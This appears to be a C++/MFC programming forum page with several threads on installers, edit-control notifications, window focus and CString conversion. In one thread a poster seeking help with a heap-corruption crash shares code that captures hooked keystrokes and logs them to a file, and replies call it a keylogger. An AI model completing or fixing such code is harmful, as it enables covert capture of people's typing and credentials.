|
I will go with the installshield 2010. New UI look is better. Unfortunately I downloaded Installshield anywhere. "Anywhere" requires JVM. Since my application in win app so I will go with the express edition of install-shield. I hope express edition does not require jvm.
Installjammer was last updated on Sept 2009 so it is still same as I used last time. Earlier I was having some problem with adding image.
|
|
|
|
|
Hello everybody !
I want to catch some EditBox' values,because is it change I want to update somethings.
for example, when the child window closed (m_strChild),I use this code to set the parent window' some member variables like this:
((CParentDlg *)GetParent())->m_strParent = m_strChild;
((CParentDlg *)GetParent())->UpdateData(FALSE);
this message of EditBox
EN_CHANGE
EN_ERRSPACE
EN_HSCROLL
EN_KILLFOCUS
EN_MAXTEXT
EN_SETFOCUS
EN_UPDATE
EN_VSCROLL
I used them all,but faild ,so how to catch the message when the values changed ?
Thanks for your reply !
Goold Luck !
|
|
|
|
|
EN_CHANGE is the notification that you need.
Since you're using MFC, try this.
Right click on the edit control in the dialog template.
Select Add Event Handler .
In the wizard select EN_CHANGE in Message type and make sure the dialog class is selected in the Class list.
The click on Add and Edit .
|
|
|
|
|
|
Hi member
i am sock my application crash eventually.I am using 2008 and got assertion.
Windows has triggered a breakpoint in ABC.exe.
This may be due to a corruption of the heap, which indicates a bug in ABC.exe or any of the DLLs it has loaded.
This may also be due to the user pressing F12 while ABC.exe has focus.
The output window may have more diagnostic information.
Can any tool is there which denote me where i am wrong.
Forum member every help increase me.
|
|
|
|
|
Please post some code here.
|
|
|
|
|
LRESULT CABCDlg::processkey(WPARAM w, LPARAM l)//This block processes the keystroke info.
{
try
{
if(hook==1)
{
GetKeyNameText(l,buffer,20);
_strlwr(buffer);
if(strlen(buffer)>1)
{
subst("shift","<SHIFT>");
subst("right shift","<SHIFT>");
subst("tab","<TAB>");
subst("space"," ");
subst("backspace","<BACKSPACE>");
subst("delete","<DEL>");
subst("left","<LEFT>");
subst("down","<DOWN>");
subst("up","<UP>");
subst("right","<RIGHT>");
subst("num /","/");
subst("num *","*");
subst("num -","-");
subst("num 0","0");
subst("num 1","1");
subst("num 2","2");
subst("num 3","3");
subst("num 4","4");
subst("num 5","5");
subst("num 6","6");
subst("num 7","7");
subst("num 8","8");
subst("num 9","9");
subst("num +","+");
subst("num enter","<ENTER>");
subst("num del","<DEL>");
subst("esc","<ESC>");
subst("enter","<ENTER>");
subst("caps lock","<CAPSLOCK>");
subst("num lock","<NUMLOCK>");
subst("scroll lock","<SCROLLLOCK>");
subst("ctrl","<CTRL>");
subst("alt","<ALT>");
subst("right ctrl","<CTRL>");
subst("right alt","<ALT>");
subst("pause","<PAUSE>");
subst("insert","<INSERT>");
subst("home","<HOME>");
subst("end","<END>");
subst("page up","<PGUP>");
subst("page down","<PGDN>");
subst("f1","<F1>");
subst("f2","<F2>");
subst("f3","<F3>");
subst("f4","<F4>");
subst("f5","<F5>");
subst("f6","<F6>");
subst("f7","<F7>");
subst("f8","<F8>");
subst("f9","<F9>");
subst("f10","<F10>");
subst("f11","<F11>");
subst("f12","<F12>");
}
if(keycount>50)
{
diskfile->Flush();
keycount = 0;
}
writedata=AfxBeginThread(WorkerThreadProc,(LPVOID)this);
}
else
{
}
return 0;
}
catch (...)
{
}
}
UINT WorkerThreadProc( LPVOID Param )
{
try
{
CABCDlg *p=(CABCDlg *) Param;
CStdiofile myFile;
if( myFile.Open( cpath, CStdioFile::modeCreate | CStdioFile::modeWrite | CStdioFile::modeNoTruncate, &e ) )
{
myFile.Writestring(buffer);
myFile.close();
}
}
catch (...)
{
AfxMessageBox("AddString Final");
}
}
|
|
|
|
|
Looks awfully like a remote keylogger.
|
|
|
|
|
hxhl95 wrote: Looks awfully like a remote keylogger.
Lucky he's a lousy programmer?
You measure democracy by the freedom it gives its dissidents, not the freedom it gives its assimilated conformists.
|
|
|
|
|
Yep.
“Follow your bliss.” – Joseph Campbell
|
|
|
|
|
I have constructed two property sheet frames and need to switch (programatically)between them.
I can change the Z order and bring the hidden frame to the top using
SetWindowPos(&CWnd::wndTop, 0, 0, 0, 0,
SWP_NOMOVE|SWP_NOSIZE| SWP_NOACTIVATE );
The "problem" is that the original frame still has a focus.
When I use SetFocus the new frame gets hidden again.
ActivateFrame produces same result.
Is there any other way to accomplish this?
Any constructive help is as always appreciated.
Thanks Vaclav
|
|
|
|
|
is SWP_NOACTIVATE the problem?
|
|
|
|
|
Yes,
it does not work at all without it. The windows stays in its Z position , therefore behind the top window of interest.The MSDN explanation of function of SWP_NOACTIVATE is not written in English.
I'll try to get rid of the frame caption / title to see if it works without it( I need it for now to keep track of the property sheets) , but I am busy working on something else now.
Thanks for reply.
Vaclav
|
|
|
|
|
Have you considered actually hiding the hidden window: CWnd::ShowWindow( SW_HIDE )? Then it can't have focus and can't be accidentally displayed.
Please do not read this signature.
|
|
|
|
|
No, since it is build as second property sheet it is already hidden.
Seems redundant to do so, but I'll give it a shot. The "problem" is that I can show this window by changing the Z order.
But since it is not covering the original property sheet window ( by design) , the user can click in its tabs and "nothing" will happend since the window on top of the Z order is active but without focus!
So to get back to the "main" tab, the user need to click on the top tab (Z order) and than the main tab see it as active dialog and can operate normally.
Vaclav
|
|
|
|
|
(probably still a bit drunk after drinking too much Bandol wines last night).
I have a 2 small functions :
void Toto( const CString& s )
{
std::stringstream ss(s.GetBuffer());
}
void Something( )
{
CString s("some string");
Toto ( s );
}
This obviously does not compile because I cannot get call GetBuffer on a const CString .
any other solution than making a copy of the input string in the function Toto ?
void Toto( const CString& s )
{
CString s1 = s;
std::stringstream ss(s1.GetBuffer());
}
Thanks.
Max.
Watched code never compiles.
modified on Friday, March 19, 2010 10:53 AM
|
|
|
|
|
Maximilien wrote: any other solution than making a copy of the input string in the function Toto ?
Not using GetBuffer() ?
You should never call GetBuffer, unless you have a very serious reason to do so. CString provides cast operators, so why would you need to call GetBuffer() ?
|
|
|
|
|
yeah, duh ...
that seems to work.
void Toto( const CString& s )
{
std::stringstream ss( (LPCTSTR)s);
// do some stuff with the ss string.
}
Thanks Cédric.
Max.
Watched code never compiles.
|
|
|
|
|
Normally, you don't need to cast the string explicitely. Did you try without the cast ?
|
|
|
|
|
Yep, tried that and gives an compilation error on the std::stringstream.
"cannot convert parameter 1 from 'const CString' to 'const std::basic_string<_Elem,_Traits,_Ax> &'"<br />
Watched code never compiles.
|
|
|
|
|
Just adding to the above reply...
You could use CString::GetBuffer() if you need access to the internal buffer of the CString object, but after you're done dealing with the buffer, you MUST call CString::ReleaseBuffer() . But by and large, if one of the casting operators would do the job, then you should avoid the call to GetBuffer() and go with the casting operator.
The documentation has more info on this.
“Follow your bliss.” – Joseph Campbell
|
|
|
|
|
Since I'm only using the CString as a read-only input, I think I don't have to release it.
anyway, I fixed this (see answer to Cédric).
Max,
Watched code never compiles.
|
|
|
|
|
It's a 'read-only' input now. What about tomorrow, and two years from now? If you'll have to change the code?
It's good practice to release the buffer.
“Follow your bliss.” – Joseph Campbell
|
|
|
|
|
Rajesh R Subramanian wrote: It's good practice to release the buffer.
It's even better practice not to call GetBuffer if you don't need to
|
|
|
|
|
Exactly, which I mentioned clearly in my previous post.
“Follow your bliss.” – Joseph Campbell
|
|
|
|
|